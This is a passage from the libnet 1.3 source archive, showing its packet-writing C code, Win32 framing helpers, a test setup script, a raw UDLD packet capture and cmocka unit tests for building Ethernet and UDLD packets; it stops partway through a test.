libnet_version.c,v 1.7 2004/11/09 07:05:07 mike Exp $ * * libnet * libnet_version.c - version function to return version info * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" static const char banner[] = "libnet version " LIBNET_VERSION ""; const char * libnet_version(void) { return (banner); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_write.c0000664000175000017500000002411014506572036014476 0ustar syqsyq/* * libnet * libnet_write.c - writes a prebuilt packet to the network * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * win32 specific code * Copyright (c) 2002 - 2003 Roberto Larcher * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" int libnet_write(libnet_t *l) { uint32_t c; uint32_t len; uint8_t *packet = NULL; if (l == NULL) { return (-1); } c = libnet_pblock_coalesce(l, &packet, &len); if (c == UINT32_MAX) { /* err msg set in libnet_pblock_coalesce() */ return (-1); } /* assume error */ c = -1; switch (l->injection_type) { case LIBNET_RAW4: case LIBNET_RAW4_ADV: if (len > LIBNET_MAX_PACKET) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): packet is too large (%d bytes)", __func__, len); goto done; } c = libnet_write_raw_ipv4(l, packet, len); break; case LIBNET_RAW6: case LIBNET_RAW6_ADV: c = libnet_write_raw_ipv6(l, packet, len); break; case LIBNET_LINK: case LIBNET_LINK_ADV: c = libnet_write_link(l, packet, len); break; default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): unsupported injection type", __func__); goto done; } /* do statistics */ if (c == len) { l->stats.packets_sent++; l->stats.bytes_written += c; } else { l->stats.packet_errors++; /* * XXX - we probably should have a way to retrieve the number of * bytes actually written (since we might have written something). */ if (c > 0) { l->stats.bytes_written += c; } } done: /* * Restore original pointer address so free won't complain about a * modified chunk pointer. */ if (l->aligner > 0) { packet = packet - l->aligner; } free(packet); return (c); } #if defined (__WIN32__) libnet_ptag_t libnet_win32_build_fake_ethernet (uint8_t *dst, uint8_t *src, uint16_t type, const uint8_t *payload, uint32_t payload_s, uint8_t *packet, libnet_t *l, libnet_ptag_t ptag) { struct libnet_ethernet_hdr eth_hdr; if (!packet) { return (-1); } memset(ð_hdr, 0, sizeof(eth_hdr)); eth_hdr.ether_type = htons(type); memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */ memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */ if (payload && payload_s) { /* * Unchecked runtime error for buf + ETH_H payload to be greater than * the allocated heap memory. */ memcpy(packet + LIBNET_ETH_H, payload, payload_s); } memcpy(packet, ð_hdr, sizeof(eth_hdr)); return (1); } libnet_ptag_t libnet_win32_build_fake_token (uint8_t *dst, uint8_t *src, uint16_t type, const uint8_t *payload, uint32_t payload_s, uint8_t *packet, libnet_t *l, libnet_ptag_t ptag) { struct libnet_token_ring_hdr token_ring_hdr; if (!packet) { return (-1); } memset(&token_ring_hdr, 0, sizeof(token_ring_hdr)); token_ring_hdr.token_ring_access_control = 0x10; token_ring_hdr.token_ring_frame_control = 0x40; token_ring_hdr.token_ring_llc_dsap = 0xaa; token_ring_hdr.token_ring_llc_ssap = 0xaa; token_ring_hdr.token_ring_llc_control_field = 0x03; token_ring_hdr.token_ring_type = htons(type); memcpy(token_ring_hdr.token_ring_dhost, dst, ETHER_ADDR_LEN); memcpy(token_ring_hdr.token_ring_shost, libnet_get_hwaddr(l), ETHER_ADDR_LEN); if (payload && payload_s) { /* * Unchecked runtime error for buf + ETH_H payload to be greater than * the allocated heap memory. */ memcpy(packet + LIBNET_TOKEN_RING_H, payload, payload_s); } memcpy(packet, &token_ring_hdr, sizeof(token_ring_hdr)); return (1); } int libnet_win32_write_raw_ipv4(libnet_t *l, const uint8_t *payload, uint32_t payload_s) { static BYTE dst[ETHER_ADDR_LEN]; static BYTE src[ETHER_ADDR_LEN]; uint8_t *packet; uint32_t packet_s; DWORD remoteip = 0; NetType type; struct libnet_ipv4_hdr *ip_hdr = NULL; memset(dst, 0, sizeof(dst)); memset(src, 0, sizeof(src)); packet_s = payload_s + l->link_offset; packet = (uint8_t*) alloca(packet_s); /* we have to do the IP checksum * FIXME: warning is correct, checksum modifies its input. * Fix is to build checksum inside the allocated 'packet' */ if (libnet_inet_checksum(l, (uint8_t*)payload, IPPROTO_IP, LIBNET_IPV4_H, payload, payload+payload_s) == -1) { /* error msg set in libnet_do_checksum */ return (-1); } /* MACs, IPs and other stuff... */ ip_hdr = (struct libnet_ipv4_hdr *)payload; memcpy(src, libnet_get_hwaddr(l), sizeof(src)); remoteip = ip_hdr->ip_dst.S_un.S_addr; /* check if the remote station is the local station */ if (remoteip == libnet_get_ipaddr4(l)) { memcpy(dst, src, sizeof(dst)); } else { memcpy(dst, libnet_win32_get_remote_mac(l, remoteip), sizeof(dst)); } PacketGetNetType(l->lpAdapter, &type); switch(type.LinkType) { case NdisMedium802_3: libnet_win32_build_fake_ethernet(dst, src, ETHERTYPE_IP, payload, payload_s, packet, l , 0); break; case NdisMedium802_5: libnet_win32_build_fake_token(dst, src, ETHERTYPE_IP, payload, payload_s, packet, l, 0); break; case NdisMediumFddi: break; case NdisMediumWan: case NdisMediumAtm: case NdisMediumArcnet878_2: default: snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): network type (%d) is not supported", __func__, type.LinkType); return (-1); } return libnet_write_link (l, packet, packet_s); } int libnet_write_raw_ipv4(libnet_t *l, const uint8_t *packet, uint32_t size) { return (libnet_win32_write_raw_ipv4(l, packet, size)); } int libnet_write_raw_ipv6(libnet_t *l, const uint8_t *packet, uint32_t size) { /* no difference in win32 */ return (libnet_write_raw_ipv4(l, packet, size)); } #else /* __WIN32__ */ int libnet_write_raw_ipv4(libnet_t *l, const uint8_t *packet, uint32_t size) { ssize_t c; struct sockaddr_in sin; struct libnet_ipv4_hdr *ip_hdr; if (l == NULL) { return (-1); } ip_hdr = (struct libnet_ipv4_hdr *)packet; #if (LIBNET_BSD_BYTE_SWAP) /* * For link access, we don't need to worry about the inconsistencies of * certain BSD kernels. However, raw socket nuances abound. Certain * BSD implementations require the ip_len and ip_off fields to be in host * byte order. */ ip_hdr->ip_len = FIX(ip_hdr->ip_len); ip_hdr->ip_off = FIX(ip_hdr->ip_off); #endif /* LIBNET_BSD_BYTE_SWAP */ memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = ip_hdr->ip_dst.s_addr; c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sin, sizeof(sin)); #if (LIBNET_BSD_BYTE_SWAP) ip_hdr->ip_len = UNFIX(ip_hdr->ip_len); ip_hdr->ip_off = UNFIX(ip_hdr->ip_off); #endif /* LIBNET_BSD_BYTE_SWAP */ if (c != (ssize_t)size) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %zd bytes written (%s)", __func__, c, strerror(errno)); } return (c); } int libnet_write_raw_ipv6(libnet_t *l, const uint8_t *packet, uint32_t size) { ssize_t c = -1; #if defined HAVE_SOLARIS && !defined HAVE_SOLARIS_IPV6 snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): no IPv6 support", __func__, strerror(errno)); #else struct sockaddr_in6 sin; struct libnet_ipv6_hdr *ip_hdr; if (l == NULL) { return (-1); } ip_hdr = (struct libnet_ipv6_hdr *)packet; memset(&sin, 0, sizeof(sin)); sin.sin6_family = AF_INET6; memcpy(sin.sin6_addr.s6_addr, ip_hdr->ip_dst.libnet_s6_addr, sizeof(ip_hdr->ip_dst.libnet_s6_addr)); c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sin, sizeof(sin)); if (c != (ssize_t)size) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): %zd bytes written (%s)", __func__, c, strerror(errno)); } #endif /* HAVE_SOLARIS && !HAVE_SOLARIS_IPV6 */ return (c); } #endif /* __WIN32__ */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/test/0000775000175000017500000000000014506572036012035 5ustar syqsyqlibnet-1.3/test/.gitignore0000664000175000017500000000003214506572036014020 0ustar syqsyq*.trs *.log ethernet udld libnet-1.3/test/Makefile.am0000664000175000017500000000057314506572036014076 0ustar syqsyqLOG_DRIVER = env AM_TAP_AWK='$(AWK)' $(SHELL) $(top_srcdir)/tap-driver.sh AM_LDFLAGS = -lcmocka $(top_builddir)/src/libnet.la TESTS = ethernet TESTS += udld check_PROGRAMS = $(TESTS) if LINUX TESTS_ENVIRONMENT = unshare -mrun $(top_srcdir)/test/setup.sh else TESTS_ENVIRONMENT = $(top_srcdir)/test/setup.sh all: $(check_PROGRAMS) endif libnet-1.3/test/data/0000775000175000017500000000000014506572036012746 5ustar syqsyqlibnet-1.3/test/data/packet_captures/0000775000175000017500000000000014506572036016123 5ustar syqsyqlibnet-1.3/test/data/packet_captures/UDLD.cap0000664000175000017500000000654214506572036017347 0ustar syqsyqò[HRR 긁D !mFOC1031Z7JG Gi0/1S1[Hzff sWX "]FOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hػff 긁X "^FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H ff sWX "\FOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[HBff 긁X "]FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H6 ff sWX "[FOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hff 긁X "\FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H˜ ff sWX "ZFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hff 긁X "[FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[HM ff sWX "YFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hff 긁X "ZFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H ff sWX !y\FOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2 [Hff 긁X !y]FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H\ ff sWX !y[FOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hff 긁X !y\FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H ff sWX !yZFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hff 긁X !y[FOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1[H ff sWX !yYFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2[Hff 긁X !yZFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1$[HL ff sWX !yXFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2%[Hff 긁X !yYFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S13[H% ff sWX !yWFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S24[HKff 긁X !yXFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1B[H ff sWX !yVFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2C[Hn ff 긁X !yWFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1Q[H ff sWX !yUFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2R[HHff 긁X !yVFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1`[H ff sWX !yTFOC1025X4W3 Fa0/1 FOC1031Z7JGGi0/1S2 a[Hff 긁X !yUFOC1031Z7JG Gi0/1 FOC1025X4W3Fa0/1S1 libnet-1.3/test/ethernet.c0000664000175000017500000000631014506572036014017 0ustar syqsyq// clang-format off #include #include #include #include #include #include #include #include // clang-format on /****************************************************************************** * * LOCAL HELPERS * *****************************************************************************/ static void print_err_buf(const char *err_buf) { fprintf(stdout, "[ERROR]: %s\n", err_buf); exit(EXIT_FAILURE); } /****************************************************************************** * * END OF LOCAL HELPERS * *****************************************************************************/ static void test_libnet_build_ethernet(void **state) { (void)state; /* unused */ libnet_ptag_t eth_ptag = (-1); struct libnet_ethernet_hdr *eth_hdr = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; uint8_t *header = NULL; uint32_t header_size = 0; uint8_t mac_dst[ETHER_ADDR_LEN] = { 0x11, 0x11, 0x11, 0x22, 0x22, 0x22 }; uint8_t mac_src[ETHER_ADDR_LEN] = { 0x44, 0x44, 0x44, 0x55, 0x55, 0x55 }; int rv = (-1); libnet_t *l = libnet_init(LIBNET_LINK_ADV, /* enable advanced mode */ NULL, /* interface */ errbuf); /* error buffer */ if (NULL == l) { print_err_buf(errbuf); } assert_non_null(l); eth_ptag = libnet_build_ethernet(mac_dst, /* destination ethernet address */ mac_src, /* source ethernet address */ ETHERTYPE_IP, /* upper layer protocol type */ NULL, /* payload */ 0, /* payload length */ l, /* libnet context */ 0); /* protocol tag */ if ((-1) == eth_ptag) { print_err_buf(errbuf); } assert_int_not_equal(eth_ptag, (-1)); rv = libnet_adv_cull_header(l, /* libnet context */ eth_ptag, /* protocol tag */ &header, /* header */ &header_size); /* header size */ if ((-1) == rv) { print_err_buf(errbuf); } assert_int_not_equal(eth_ptag, (-1)); assert_int_not_equal(header_size, 0); eth_hdr = (struct libnet_ethernet_hdr *)header; assert_int_equal(eth_hdr->ether_type, htons(ETHERTYPE_IP)); // Compare source macs for (uint8_t i = 0; i < ETHER_ADDR_LEN; i++) { assert_int_equal(eth_hdr->ether_shost[i], mac_src[i]); } // Compare destination macs for (uint8_t i = 0; i < ETHER_ADDR_LEN; i++) { assert_int_equal(eth_hdr->ether_dhost[i], mac_dst[i]); } libnet_destroy(l); } int main(void) { const struct CMUnitTest tests[] = { cmocka_unit_test(test_libnet_build_ethernet), }; return cmocka_run_group_tests(tests, NULL, NULL); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/test/setup.sh0000775000175000017500000000061714506572036013540 0ustar syqsyq#!/bin/sh # Set up a virtual world in an unshare for the unit tests to run in. # http://staskobzar.blogspot.com/2017/04/test-anything-protocol-tap-with.html export CMOCKA_MESSAGE_OUTPUT=TAP if [ $(uname) = Linux ]; then ip link add eth0 type dummy ip link set eth0 up ip link set lo up ip addr add 192.168.2.200/24 dev eth0 ip route add default via 192.168.2.1 fi exec "$@" libnet-1.3/test/udld.c0000664000175000017500000005435314506572036013143 0ustar syqsyq// clang-format off #include #include #include #include #include #include #include #include // clang-format on /* Helpers */ #define LIBNET_TEST_ARRAY_LENGTH(array) (sizeof(array) / sizeof((array)[0])) static uint8_t tlv_length_offset = 2; static uint8_t tlv_value_offset = 4; static void libnet_build_udld__pdu_header_only(void **state) { (void)state; /* unused */ int rv = (-1); char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const uint8_t flags = (LIBNET_UDLD_FLAG_RT | LIBNET_UDLD_FLAG_RSY); libnet_ptag_t udld_ptag = libnet_build_udld_hdr(LIBNET_UDLD_PDU_VERSION, /* version */ LIBNET_UDLD_PDU_OPCODE_PROBE, /* opcode */ flags, /* flags */ 0, /* do checksum */ NULL, /* payload */ 0, /* payload length */ l, /* libnet context */ 0); /* protocol tag */ assert_int_not_equal(udld_ptag, (-1)); uint8_t *header = NULL; uint32_t header_size = 0; rv = libnet_adv_cull_header(l, udld_ptag, &header, &header_size); assert_int_not_equal(rv, (-1)); struct libnet_udld_hdr *udld_hdr = NULL; udld_hdr = (struct libnet_udld_hdr *)header; assert_int_equal((udld_hdr->version_opcode >> LIBNET_UDLD_PDU_VERSION_OFFSET), LIBNET_UDLD_PDU_VERSION); assert_int_equal((udld_hdr->version_opcode & LIBNET_UDLD_PDU_OPCODE_MASK), LIBNET_UDLD_PDU_OPCODE_PROBE); assert_int_equal(udld_hdr->flags, (LIBNET_UDLD_FLAG_RT | LIBNET_UDLD_FLAG_RSY)); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Device ID */ static void libnet_build_udld__tlv_device_id(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const char *device_id_str = "FOC1031Z7JG"; libnet_ptag_t udld_tlv_device_id_ptag = libnet_build_udld_device_id((const uint8_t *)device_id_str, strlen(device_id_str), l, 0); assert_int_not_equal(udld_tlv_device_id_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_device_id_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_DEVICE_ID_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint8_t *value = (const uint8_t *)(p->buf + tlv_value_offset); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_DEVICE_ID_H); assert_int_equal(ntohs(*type), LIBNET_UDLD_DEVICE_ID); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + strlen(device_id_str)); assert_memory_equal(value, (const char []){ "FOC1031Z7JG" }, strlen(device_id_str)); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Port ID */ static void libnet_build_udld__tlv_port_id(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const char *origin_port_id_str = "Gi0/1"; libnet_ptag_t udld_tlv_port_id_ptag = libnet_build_udld_port_id((const uint8_t *)origin_port_id_str, strlen(origin_port_id_str), l, 0); assert_int_not_equal(udld_tlv_port_id_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_port_id_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_PORT_ID_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint8_t *value = (const uint8_t *)(p->buf + tlv_value_offset); assert_int_equal(ntohs(*type), LIBNET_UDLD_PORT_ID); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + strlen(origin_port_id_str)); assert_memory_equal(value, (const char []){ "Gi0/1" }, strlen(origin_port_id_str)); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Echo */ static void libnet_build_udld__tlv_echo(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const uint8_t original_echo_id_pairs[] = { 0x01, 0x02, 0x03, 0x04 }; const uint8_t expected_echo_id_pairs[] = { 0x01, 0x02, 0x03, 0x04 }; libnet_ptag_t udld_tlv_echo_ptag = libnet_build_udld_echo(original_echo_id_pairs, LIBNET_TEST_ARRAY_LENGTH(original_echo_id_pairs), l, 0); assert_int_not_equal(udld_tlv_echo_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_echo_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_ECHO_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint8_t *value = (const uint8_t *)(p->buf + tlv_value_offset); assert_int_equal(ntohs(*type), LIBNET_UDLD_ECHO); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + LIBNET_TEST_ARRAY_LENGTH(original_echo_id_pairs)); assert_int_equal(ntohs(*length) - 4/* sizeof type and length */, LIBNET_TEST_ARRAY_LENGTH(expected_echo_id_pairs)); assert_memory_equal(value, expected_echo_id_pairs, LIBNET_TEST_ARRAY_LENGTH(original_echo_id_pairs)); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Message Interval */ static void libnet_build_udld__tlv_message_interval(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const uint8_t message_interval = 7; libnet_ptag_t udld_tlv_message_interval_ptag = libnet_build_udld_message_interval(&message_interval, l, 0); assert_int_not_equal(udld_tlv_message_interval_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_message_interval_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_MSG_INTERVAL_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint8_t *value = (const uint8_t *)(p->buf + tlv_value_offset); assert_int_equal(ntohs(*type), LIBNET_UDLD_MESSAGE_INTERVAL); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint8_t)); assert_int_equal(*value, 7); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Timeout Interval */ static void libnet_build_udld__tlv_timeout_interval(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const uint8_t timeout_interval = 5; libnet_ptag_t udld_tlv_timeout_interval_ptag = libnet_build_udld_timeout_interval(&timeout_interval, l, 0); assert_int_not_equal(udld_tlv_timeout_interval_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_timeout_interval_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_TMT_INTERVAL_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint8_t *value = (const uint8_t *)(p->buf + tlv_value_offset); assert_int_equal(ntohs(*type), LIBNET_UDLD_TIMEOUT_INTERVAL); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint8_t)); assert_int_equal(*value, 5); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Device Name */ static void libnet_build_udld__tlv_device_name(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const char *device_name_str = "S1"; libnet_ptag_t udld_tlv_device_name_ptag = libnet_build_udld_device_name((const uint8_t *)device_name_str, strlen(device_name_str), l, 0); assert_int_not_equal(udld_tlv_device_name_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_device_name_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_DEVICE_NAME_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint8_t *value = (const uint8_t *)(p->buf + tlv_value_offset); assert_int_equal(ntohs(*type), LIBNET_UDLD_DEVICE_NAME); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + strlen(device_name_str)); assert_memory_equal(value, (const uint8_t []){ "S1" }, strlen(device_name_str)); libnet_destroy(l); } /* Refs: test/data/packet_captures/UDLD.cap, Packet #1, UDLD Sequence Number */ static void libnet_build_udld__tlv_sequence_number(void **state) { (void)state; /* unused */ char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l = libnet_init(LIBNET_NONE, NULL, errbuf); assert_non_null(l); const uint32_t sequence_number = 1; libnet_ptag_t udld_tlv_sequence_number_ptag = libnet_build_udld_sequence_number((const uint8_t *)&sequence_number, l, 0); assert_int_not_equal(udld_tlv_sequence_number_ptag, (-1)); libnet_pblock_t *p = libnet_pblock_find(l, udld_tlv_sequence_number_ptag); assert_non_null(p); assert_int_equal(p->type, LIBNET_PBLOCK_UDLD_SEQ_NUMBER_H); const uint16_t *type = (const uint16_t *)(p->buf); const uint16_t *length = (const uint16_t *)(p->buf + tlv_length_offset); const uint32_t *value = (const uint32_t *)(p->buf + tlv_value_offset); assert_int_equal(ntohs(*type), LIBNET_UDLD_SEQUENCE_NUMBER); assert_int_equal(ntohs(*length), LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint32_t)); assert_int_equal(ntohl(*value), 1); libnet_destroy(l); } static void libnet_udld__checksum_calculation(void **state) { (void)state; /* unused */ const uint8_t original_packet_hex[] = { 0x01,0x00,0x0c,0xcc,0xcc,0xcc,0x00,0x19,0x06,0xea,0xb8,0x81,0x00,0x44, /* 14 bytes: IEEE 802.3 Ethernet */ 0xaa,0xaa,0x03,0x00,0x00,0x0c,0x01,0x11, /* 8 bytes: LLC */ 0x21, /* 1 bytes: UDLD: version and opcode */ 0x03, /* 1 bytes: UDLD: flags */ 0x00,0x00, /* 2 bytes: UDLD: checksum */ 0x00,0x01,0x00,0x0f,0x46,0x4f,0x43,0x31,0x30,0x33,0x31,0x5a,0x37,0x4a,0x47, /* 15 bytes: UDLD: Device ID */ 0x00,0x02,0x00,0x09,0x47,0x69,0x30,0x2f,0x31, /* 9 bytes: UDLD: Port ID */ 0x00,0x03,0x00,0x08,0x00,0x00,0x00,0x00, /* 8 bytes: UDLD: Echo */ 0x00,0x04,0x00,0x05,0x07, /* 5 bytes: UDLD: Message Interval */ 0x00,0x05,0x00,0x05,0x05, /* 5 bytes: UDLD: Timeout Interval */ 0x00,0x06,0x00,0x06,0x53,0x31, /* 6 bytes: UDLD: Device Name */ 0x00,0x07,0x00,0x08,0x00,0x00,0x00,0x01 /* 8 bytes: UDLD: Sequence Number */ }; const uint16_t expected_checksum = 0x6d85; const uint16_t checksum = libnet_ip_check((uint16_t *)original_packet_hex + 11, /* UDLD packet offset*/ 60 /* remaining bytes */ ); assert_int_equal(expected_checksum, htons(checksum)); } /** * Build the whole UDLD packet, including the payload and IEEE802.3 Ethernet + LLC headers. * * Refs: test/data/packet_captures/UDLD.cap, Packet #2 */ static void libnet_build_udld__build_whole_packet_with_checksum(void **state) { (void)state; /* unused */ libnet_t *l = NULL; libnet_ptag_t udld_ptag = 0; libnet_ptag_t udld_device_id_tlv_ptag = 0; libnet_ptag_t udld_port_id_tlv_ptag = 0; libnet_ptag_t udld_echo_id_tlv_ptag = 0; libnet_ptag_t udld_message_interval_ptag = 0; libnet_ptag_t udld_timeout_interval_ptag = 0; libnet_ptag_t udld_device_name_ptag = 0; libnet_ptag_t udld_sequence_number_ptag = 0; libnet_ptag_t ieee_802_2_llc_ptag = 0; libnet_ptag_t ieee_802_3_ptag = 0; uint32_t udld_payload_size = 0; char error_buffer[LIBNET_ERRBUF_SIZE]; l = libnet_init(LIBNET_NONE, NULL, error_buffer); assert_non_null(l); /* Build UDLD */ /* Build UDLD Sequence Number TLV */ const uint32_t sequence_number = 1; udld_sequence_number_ptag = libnet_build_udld_sequence_number((const uint8_t *)&sequence_number, l, 0 ); assert_int_not_equal(udld_sequence_number_ptag, (-1)); udld_payload_size += (LIBNET_UDLD_TLV_HDR_SIZE + sizeof(uint32_t)); /* Build UDLD Device Name TLV */ const char *device_name_str = "S2"; udld_device_name_ptag = libnet_build_udld_device_name((const uint8_t *)device_name_str, strlen(device_name_str), l, 0 ); 